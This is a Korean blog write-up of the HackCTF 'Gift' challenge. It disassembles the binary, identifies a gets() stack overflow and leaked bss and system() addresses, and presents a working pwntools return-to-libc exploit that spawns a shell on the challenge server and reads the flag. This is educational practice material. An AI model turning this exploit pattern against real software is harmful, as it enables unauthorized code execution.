CTF_Write_UP/HackCTF

[HackCTF] Gift

PowerCo3e_LCH 2019. 9. 23. 16:09

시작

안녕하세요 :D

250점의 마지막 문제, Gift 입니다.

너무 쉬워서 선물같은 문제란 뜻인 것 같아요 ㅋㅋㅋㅋ

시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/19.Gift# ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7623e70
aaaa
aaaa
bbbb

주소 두 개를 던져줍니다.

그 다음 입력을 받고 그대로 출력, 두 번째 입력을 받으면 종료됩니다.

   0x080485a4 <+94>:    add    esp,0x10
   0x080485a7 <+97>:    mov    eax,DWORD PTR [ebx-0x10]
   0x080485ad <+103>:   push   eax
   0x080485ae <+104>:   mov    eax,0x8049940
   0x080485b4 <+110>:   push   eax
   0x080485b5 <+111>:   lea    eax,[ebx-0x1254]
   0x080485bb <+117>:   push   eax
   0x080485bc <+118>:   call   0x80483c0 <printf@plt>
   0x080485c1 <+123>:   add    esp,0xc
   0x080485c4 <+126>:   mov    eax,DWORD PTR [ebx-0x8]
   0x080485ca <+132>:   mov    eax,DWORD PTR [eax]
   0x080485cc <+134>:   push   eax
   0x080485cd <+135>:   push   0x80
   0x080485d2 <+140>:   lea    eax,[ebp-0x84]
   0x080485d8 <+146>:   push   eax
   0x080485d9 <+147>:   call   0x80483e0 <fgets@plt>
   0x080485de <+152>:   add    esp,0xc
   0x080485e1 <+155>:   lea    eax,[ebp-0x84]
   0x080485e7 <+161>:   push   eax
   0x080485e8 <+162>:   call   0x80483c0 <printf@plt>
   0x080485ed <+167>:   add    esp,0x4
   0x080485f0 <+170>:   lea    eax,[ebp-0x84]
   0x080485f6 <+176>:   push   eax
   0x080485f7 <+177>:   call   0x80483d0 <gets@plt>
   0x080485fc <+182>:   add    esp,0x4
   0x080485ff <+185>:   mov    eax,0x0
   0x08048604 <+190>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048607 <+193>:   leave
   0x08048608 <+194>:   ret
End of assembler dump.

fgets()와 gets()가 입력받는 부분이 똑같네요. fgets()는 가볍게 무시해줘도 될 것 같습니다.

0x84, 132 bytes의 더미 값을 주면 EBP에 접근이 가능하고, 4 bytes를 더 주면 RET을 건드리겠네요.

앞서 던져주는 주소 2개가 뭔지 알아볼까요?

   0x80485b4 <main+110>:        push   eax
   0x80485b5 <main+111>:        lea    eax,[ebx-0x1254]
   0x80485bb <main+117>:        push   eax
=> 0x80485bc <main+118>:        call   0x80483c0 <printf@plt>
   0x80485c1 <main+123>:        add    esp,0xc
   0x80485c4 <main+126>:        mov    eax,DWORD PTR [ebx-0x8]
   0x80485ca <main+132>:        mov    eax,DWORD PTR [eax]
   0x80485cc <main+134>:        push   eax
Guessed arguments:
arg[0]: 0x8048690 ("Hey guyssssssssss here you are: %p %p\n")
arg[1]: 0x8049940 --> 0x0
arg[2]: 0xf7636e70 (<system>:   push   ebx)

첫 번째 주소는 고정된 빈 공간이고, 두 번째 주소는 system() 함수네요.

따라서 gets()같은 함수로 첫 번째 주소의 “/bin/sh”를 넣어주고 system을 불러주면 끝입니다.

pr 가젯 하나만 있으면 되겠네요 ㅎㅎ 코드는 다음과 같습니다.

from pwn import *

#context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3018)
#p = process("./gift")

payload = ""
pr = 0x80483ad
bss = 0x8049940
gets = 0x80483d0

p.recvuntil("940 0x")
system = int(p.recv(8), 16)

log.info("system = " + hex(system))

p.sendline("AAAA")
p.recvuntil("\n")

payload += "A" * 136
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(system)
payload += "AAAA"
payload += p32(bss)

p.sendline(payload)

p.sendline("/bin/sh\x00")

p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3018: Done
[*] system = 0xf7e32940
[*] Switching to interactive mode
AAAA
$ ls
flag
main
$ cat flag
//flag!!!

Exploit!!

마무리

마지막 문제여서 기대했는데 ㅎㅎ.. 단순 RTL 문제였습니다.

감사합니다 :D